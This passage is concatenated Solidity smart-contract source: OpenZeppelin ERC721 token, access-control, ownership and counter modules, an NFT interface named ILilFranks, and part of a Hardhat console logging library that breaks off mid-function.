equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; interface ILilFranks is IERC721Enumerable { function setMintPassportToken(address _mintPassToken) external; function redeem(uint256[] calldata mpIndexes, uint256[] calldata amounts) external; function setRedeemStart(uint256 passID, uint256 _windowOpen) external; function setRedeemClose(uint256 passID, uint256 _windowClose) external; function setMaxRedeemPerTxn(uint256 passID, uint256 _maxRedeemPerTxn) external; function isRedemptionOpen(uint256 passID) external returns (bool); function unpause() external; function pause() external; function setBaseURI(string memory _baseTokenURI) external; function setIpfsURI(string memory _ipfsURI) external; function setIndividualTokenURI(uint256 passID, string memory uri) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); 